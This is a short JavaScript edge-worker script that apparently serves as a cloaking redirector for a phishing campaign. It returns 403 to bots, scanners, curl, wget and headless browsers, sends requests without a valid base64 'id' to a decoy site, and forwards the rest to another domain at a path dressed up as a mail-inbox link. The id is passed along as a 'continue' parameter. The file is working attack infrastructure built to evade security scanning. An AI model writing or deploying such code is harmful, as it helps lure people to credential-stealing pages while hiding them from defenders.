export default {
  async fetch(request, env, ctx) {
    const url = new URL(request.url);
    
    const userAgent = request.headers.get('user-agent') || '';
    const accept = request.headers.get('accept') || '';
    
    const botPatterns = /(bot|crawl|spider|slurp|curl|wget|python|java|php|libwww|httpclient|apache|scanner|scraper|fetch|headless|phantom|selenium|puppeteer)/i;
    
    if (
      !userAgent || 
      !accept || 
      !accept.toLowerCase().includes('text/html') || 
      botPatterns.test(userAgent)
    ) {
      return new Response('Forbidden', { status: 403 });
    }
    
    const id = url.searchParams.get('id') || '';
    
    const isValidBase64 = (str) => {
      if (!str || str.trim() === '') return false;
      try {
        const decoded = atob(str);
        return btoa(decoded) === str || btoa(decoded) === str.replace(/=+$/, '');
      } catch (e) {
        return false;
      }
    };

    if (!id || !isValidBase64(id)) {
      return Response.redirect('https://ncsgallery.com/ftx', 302);
    }
    
    const domain = "https://tt.praxiseos.co.uk";
    const path = "/readmessainboxreveicevei8g7h3iunwehb7g98eoivnelkr/comcap/";
    const param = "?continue=" + encodeURIComponent(id);
    
    const redirectUrl = domain + path + param;
    
    return Response.redirect(redirectUrl, 302);
  }
};